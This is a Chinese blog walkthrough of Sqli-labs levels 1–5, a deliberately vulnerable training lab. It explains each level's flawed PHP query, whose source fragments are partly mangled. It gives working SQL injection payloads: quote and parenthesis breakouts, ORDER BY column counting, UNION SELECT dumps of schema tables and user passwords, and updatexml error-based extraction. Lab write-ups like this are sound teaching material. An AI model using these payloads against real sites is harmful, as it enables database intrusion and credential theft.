Sqli-labs通关笔记(Less-1~5)

Basic Challenges(Less1-5)

前言

人呐,总是会不自觉的懒惰,总会需要点事情来强迫自己去离开舒适区,于是就有了这一系列文章(Sqli-Labs通关笔记系列),这一个系列我将分享做这套闯关练习时候我的思考过程与代码分析过程,分享交流,有不足之处,还望大家积极提出。

本文格式
### Less- 
**源代码:**
**分析:**
**漏洞利用(黑盒):**
  1. 判断是否存在注入点
  2. 猜解SQL查询语句中的字段数
  3. 确定显示的字段位置
  4. 获取库名
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据
----

Less-1

源代码:

";
    echo 'Your Login name:'. $row['username'];
    echo "
"; echo 'Your Password:' .$row['password']; echo ""; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?>

分析:

网页通过GET方法获取参数id的值,通过字符串拼接的方式构造SQL语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
其中,参数id被直接带入SQL查询语句,然后直接使用该语句代入数据库进行查询,查询成功,则会打印usernamepassword到浏览器里,否则,打印报错信息,存在字符型注入漏洞。

漏洞利用(黑盒):
参数被直接代入SQL查询语句,没有任何过滤措施,可以在参数处进行SQL语句的构造,从而可以进行SQL注入攻击。

  1. 判断是否存在注入点
    id=1,查询成功
    id=1' and '1'='2,查询失败,无返回结果
    id=1' or '1'='1,查询成功
    说明存在字符型注入
  2. 猜解SQL查询语句中的字段数
    id=1' order by 3--+,查询成功
    id=1' order by 4--+,查询失败
    说明当前查询语句中的字段数为3
  3. 确定显示的字段位置
    id=-1' union select 1,2,3--+,发现2和3回显在浏览器上
  4. 获取库名
    id=-1‘ union select 1,2,database()--+
    当前库名为security
  5. 获取数据库中的表
    id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    得到当前库里有emails,referers,uagents,users四个表
  6. 获取表中的字段名
    id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    得到当前表里有id,username,password三个字段
  7. 下载数据
    id=-1' union select 1,group_concat(id,0x7e,username,0x7e,password),3 from users--+
    这样就得到了users表中的所有用户的id,username,password的数据了

Less-2

源代码:

";
    echo 'Your Login name:'. $row['username'];
    echo "
"; echo 'Your Password:' .$row['password']; echo ""; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value"; } ?>

分析:
网页依然通过GET方法获取id的数值,这一关与上一关不同的是,这次的参数id没有作为字符串拼接进SQL语句,而是通过变量直接代入SQL语句
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
存在数字型注入漏洞。
漏洞利用(黑盒):

  1. 判断是否存在注入点
    id=1,查询成功
    id=1',查询报错
    id=1 and 1=1,查询成功
    说明存在注入点,是数字型注入

  2. 猜解SQL查询语句中的字段数
    id=1 order by 3--+查询成功
    id=1 order by 4--+查询失败
    说明存在三个字段

    以下步骤与less-1相同,在此就不再展开写了

  3. 确定显示的字段位置

  4. 获取库名

  5. 获取数据库中的表

  6. 获取表中的字段名

  7. 下载数据


Less-3

源代码:

";
    echo 'Your Login name:'. $row['username'];
    echo "
"; echo 'Your Password:' .$row['password']; echo ""; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?>

分析:
本关与前面关卡相比,本关的不同之处就是构造SQL查询语句的时候,变量id被放到了括号里
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
给参数id赋值都会被包括在括号里,后面参数里构造SQL语句无法执行,如果在参数里闭合括号和引号,后面构造sql语句就可以正常执行,此处存在SQL注入漏洞。
漏洞利用(黑盒):

  1. 判断是否存在注入点
    id=1,查询正常
    id=1'
    - 网页报错,check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
    - 报错中提到''1'') LIMIT 0,1'于是猜想参数可能被括号和引号包起来了

    id=1')--+查询正常,猜想正确,此处存在注入点,为字符型

  2. 猜解SQL查询语句中的字段数
    id=1') order by 3--+查询成功
    id=1') order by 4--+查询失败
    说明查询语句中字段数为3

  3. 确定显示的字段位置
    id=-1') union select 1,2,3--+,回显2,3
    回显位置为2,3

    以下步骤与less-1相同,在此就不再展开写了

  4. 获取库名

  5. 获取数据库中的表

  6. 获取表中的字段名

  7. 下载数据

Less-4

源代码:


";
    echo 'Your Login name:'. $row['username'];
    echo "
"; echo 'Your Password:' .$row['password']; echo ""; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?>

分析:
本关与之前的关卡的不同在与构造SQL语句之前,id参数通过字符串拼接,拼接上双引号,然后才代入SQL语句,同时SQL语句中的id参数被括号包裹着

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

漏洞利用(黑盒):

  1. 判断是否存在注入点
    id=1,查询正常
    id=1',查询正常
    id=1' order by 99--+,查询正常!这里很奇怪,数据库有这么多字段吗?继续尝试
    id=1"
    - 查询报错check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
    - 在报错中我们能发现' "1"") LIMIT 0,1 '中的1被双引号包住了,我们又加了一个双引号导致了报错,双引号后面有个右括号,可以推断SQL语句中使用了括号包裹参数,我们试一试先把括号闭合了会怎样。

    id=1")
    - 查询报错check the manual that corresponds to your MySQL server version for the right syntax to use near '") LIMIT 0,1' at line 1
    - 在报错中,出错的语句变成了' ") LIMIT 0,1 ',可见参数1是正常数据,语法错误的地方出在了1后面,在此推断此报错是因为有个双引号没闭合而导致的,所以尝试再加一个双引号

    id=1"")查询正常
    id=1"--+")
    - 查询报错check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
    - 报错又出在了双引号处,可以推断,双引号不是在SQL构造语句中的而是被单独添加到参数id两边的!

    id=1")--+")查询成功
    1")--+中间是插入SQL语句的地方,此处存在SQL注入漏洞

    以下步骤插入的SQL语句与less-1相同,在此就不再展开写了

  2. 猜解SQL查询语句中的字段数

  3. 确定显示的字段位置

  4. 获取库名

  5. 获取数据库中的表

  6. 获取表中的字段名

  7. 下载数据


Less-5

源代码:

'; 
    echo 'You are in...........';
    echo "
"; echo ""; } else { echo ''; print_r(mysql_error()); echo "
"; echo ''; } } else { echo "Please input the ID as parameter with numeric value";} ?>

分析:
本关的id参数赋值,SQL查询语句的构造均与Less-1相同,不同的地方是查询完的回显与之前的关卡截然不同,本关查询成功,会回显You are in...........,查询失败则不显示,查询报错会返回报错信息。查询结果不会显示,查询错误会显示报错,此处可能存在报错注入漏洞。
漏洞利用(黑盒):

  1. 判断是否存在注入点
    id=1,查询正常
    id=1",查询正常,查询正常不能看到注入命令的执行结果
    id=1"',查询报错,回显报错信息,此处可能可以报错注入
    id=1" order by 3--+,查询失败,无回显
    id=1' order by 3--+,查询正常,说明此处是字符型注入,字符在单引号里,后面可以直接构造SQL语句注入
    id=1' union select 1,2,updatexml(1,(concat(0x7e,user(),0x7e)),1)--+
    - 查询报错XPATH syntax error: '~root@localhost~'
    - 此处通过updatexml()函数中xml参数格式错误导致报错回显命令注入执行结果
    user()可替换成需要注入的SQL语句

    以下步骤插入的SQL语句与less-1相同,在此就不再展开写了

  2. 猜解SQL查询语句中的字段数

  3. 确定显示的字段位置

  4. 获取库名

  5. 获取数据库中的表

  6. 获取表中的字段名

  7. 下载数据

最后,欢迎大家关注我的私人订阅号,会不定期更新各种靶场攻略,挖洞、渗透经验分享等

Sqli-labs通关笔记(Less-1~5)_第1张图片
订阅号.jpg

你可能感兴趣的:(Sqli-labs通关笔记(Less-1~5))